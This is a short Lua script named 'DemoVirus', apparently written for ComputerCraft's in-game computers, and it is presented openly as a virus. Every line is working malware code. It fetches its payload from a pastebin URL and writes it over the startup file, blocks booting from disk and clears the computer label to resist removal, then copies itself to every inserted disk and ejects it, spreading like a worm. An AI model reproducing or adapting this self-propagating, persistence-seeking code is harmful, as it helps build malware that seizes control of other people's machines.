DemoVirus

print "Welcome to DemoVirus!"
print "The simple, lightweight virus."

local function delete(file)
    if fs.exists(file) then fs.delete(file) end
end

settings.set("shell.allow_startup", true) -- Force local startups to be allowed
local function copy_to(file)
    delete(file) -- Delete it in case it's already a folder
    delete(file .. ".lua") -- Delete possibly conflicting .lua versions
    local h = http.get "https://pastebin.com/raw/2rZYfYhT"
    local f = fs.open(file, "w")
    f.write(h.readAll()) -- Write self to specified file
    f.close()
    h.close()
end
copy_to "startup" -- Overwrite startup
settings.set("shell.allow_disk_startup", false) -- Prevent removing it via booting from disks
settings.save ".settings" -- Save these settings
os.setComputerLabel(nil) -- Remove label to prevent putting it in a disk drive
while true do
    local _, side = coroutine.yield "disk" -- Watch for adjacent disks
    if side then
        local path = disk.getMountPath(side) -- Find where they'll be mounted
        copy_to(fs.combine(path, "startup")) -- Copy to them, too
        disk.eject(side) -- Eject them
    end
end